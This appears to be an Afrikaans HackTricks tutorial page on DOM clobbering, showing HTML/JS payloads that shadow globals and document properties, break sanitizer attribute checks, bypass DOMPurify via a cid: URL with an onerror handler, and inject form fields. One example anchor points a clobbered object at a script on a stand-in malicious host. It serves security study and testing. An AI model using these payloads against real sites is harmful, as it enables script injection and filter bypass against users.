220 lines
10 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
{{#include ../../banners/hacktricks-training.md}}
## **Basiese beginsels**
Dit is moontlik om **globale veranderlikes binne die JS-konteks** te genereer met die eienskappe **`id`** en **`name`** in HTML-tags.
```html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
```
**Slegs** sekere elemente kan die **naam attribuut** gebruik om globals te clobber, hulle is: `embed`, `form`, `iframe`, `image`, `img` en `object`.
Interessant genoeg, wanneer jy 'n **form element** gebruik om 'n veranderlike te **clobber**, sal jy die **`toString`** waarde van die element self kry: `[object HTMLFormElement]` maar met **anker** sal die **`toString`** die anker **`href`** wees. Daarom, as jy clobber met die **`a`** tag, kan jy die **waarde** **beheer** wanneer dit **as 'n string** behandel word:
```html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
```
### Arrays & Attributes
Dit is ook moontlik om 'n **array** en **objek eienskappe** te **clobber**:
```html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
```
Om **'n 3de attribuut** (bv. x.y.z) te oorskry, moet jy **'n `form`** gebruik:
```html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
```
Clobbering meer eienskappe is **meer ingewikkeld maar steeds moontlik**, met behulp van iframes:
```html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
```
> [!WARNING]
> Die style-tag word gebruik om **genoeg tyd aan die iframe te gee om te render**. Sonder dit sal jy 'n waarskuwing van **undefined** vind.
Om dieper eienskappe te klobber, kan jy **iframes met html-kodering** op hierdie manier gebruik:
```html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
```
### **Filter Omseiling**
As 'n filter deur die eienskappe van 'n knoop **loop** met iets soos `document.getElementByID('x').attributes`, kan jy die attribuut **`.attributes`** **clobber** en die filter **breek**. Ander DOM-eienskappe soos **`tagName`**, **`nodeName`** of **`parentNode`** en meer is ook **clobberable**.
```html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**
In JavaScript is dit algemeen om te vind:
```javascript
var someObject = window.someObject || {}
```
Die manipulasie van HTML op die bladsy laat toe om `someObject` met 'n DOM-knoop te oorskry, wat moontlik sekuriteitskwesies kan inbring. Byvoorbeeld, jy kan `someObject` vervang met 'n anker-element wat na 'n kwaadwillige skrip wys:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
In 'n kwesbare kode soos:
```html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
```
Hierdie metode benut die skripbron om ongewenste kode uit te voer.
**Trick**: **`DOMPurify`** laat jou toe om die **`cid:`** protokol te gebruik, wat **nie URL-encodeer dubbele aanhalings** nie. Dit beteken jy kan **'n geënkodeerde dubbele aanhaling inspuit wat tydens uitvoering gedecodeer sal word**. Daarom sal die inspuiting van iets soos **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** die HTML geënkodeerde `&quot;` **tydens uitvoering gedecodeer** maak en **ontsnap** van die attribuutwaarde om die **`onerror`** gebeurtenis te **skep**.
'n Ander tegniek gebruik 'n **`form`** element. Sekere kliënt-kant biblioteke ondersoek die attribuut van 'n nuut geskepte form element om dit skoon te maak. Deur egter 'n `input` met `id=attributes` binne die vorm by te voeg, oorskry jy effektief die attribuut eienskap, wat verhoed dat die sanitizer toegang tot die werklike attribuut het.
Jy kan [**'n voorbeeld van hierdie tipe clobbering in hierdie CTF skrywe vind**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Clobbering dokument objek
Volgens die dokumentasie is dit moontlik om attribuut van die dokument objek te oorskry deur DOM Clobbering:
> Die [Document](https://html.spec.whatwg.org/multipage/dom.html#document) koppelvlak [ondersteun naamgegewe eienskappe](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Die [ondersteunde eienskapname](https://webidl.spec.whatwg.org/#dfn-supported-property-names) van 'n [Document](https://html.spec.whatwg.org/multipage/dom.html#document) objek dokument op enige oomblik bestaan uit die volgende, in [boomorde](https://dom.spec.whatwg.org/#concept-tree-order) volgens die element wat dit bygedra het, terwyl latere duplikate geïgnoreer word, en met waardes van [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attribuut wat voor waardes van naam attribuut kom wanneer dieselfde element albei bydra:
>
> \- Die waarde van die naam inhoud attribuut vir alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), en [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elemente wat 'n nie-leë naam inhoud attribuut het en in 'n [dokumentboom](https://dom.spec.whatwg.org/#in-a-document-tree) met dokument as hul [wortel](https://dom.spec.whatwg.org/#concept-tree-root) is;\
> \
> \- Die waarde van die [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) inhoud attribuut vir alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elemente wat 'n nie-leë [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) inhoud attribuut het en in 'n [dokumentboom](https://dom.spec.whatwg.org/#in-a-document-tree) met dokument as hul [wortel](https://dom.spec.whatwg.org/#concept-tree-root) is;\
> \
> \- Die waarde van die [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) inhoud attribuut vir alle [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elemente wat albei 'n nie-leë [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) inhoud attribuut en 'n nie-leë naam inhoud attribuut het, en in 'n [dokumentboom](https://dom.spec.whatwg.org/#in-a-document-tree) met dokument as hul [wortel](https://dom.spec.whatwg.org/#concept-tree-root) is.
Deur hierdie tegniek te gebruik, kan jy algemeen gebruikte **waardes soos `document.cookie`, `document.body`, `document.children`**, en selfs metodes in die Document koppelvlak soos `document.querySelector` oorskry.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Skryf na die element wat geklobber is
Die resultate van oproepe na **`document.getElementById()`** en **`document.querySelector()`** kan verander word deur 'n `<html>` of `<body>` tag met 'n identiese id attribuut in te spuit. Hier is hoe dit gedoen kan word:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
```
Verder, deur style te gebruik om hierdie ingeslote HTML/body-tags te verberg, kan inmenging van ander teks in die `innerText` voorkom word, wat die doeltreffendheid van die aanval verbeter:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Ondersoeke na SVG het onthul dat 'n `<body>`-tag ook effektief gebruik kan word:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Vir die HTML-tag om binne SVG in blaaiers soos Chrome en Firefox te funksioneer, is 'n `<foreignobject>`-tag nodig:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
## Clobbering Forms
Dit is moontlik om **nuwe inskrywings binne 'n vorm** by te voeg net deur die **`form` attribuut** binne sommige tags te spesifiseer. Jy kan dit gebruik om **nuwe waardes binne 'n vorm** by te voeg en selfs 'n nuwe **knoppie** te voeg om dit te **stuur** (clickjacking of om sommige `.click()` JS kode te misbruik):
```html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
- Vir meer vormattribuut in [**knoppie kyk hierna**](https://www.w3schools.com/tags/tag_button.asp)**.**
## Verwysings
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- Heyes, Gareth. JavaScript vir hackers: Leer om soos 'n hacker te dink.
{{#include ../../banners/hacktricks-training.md}}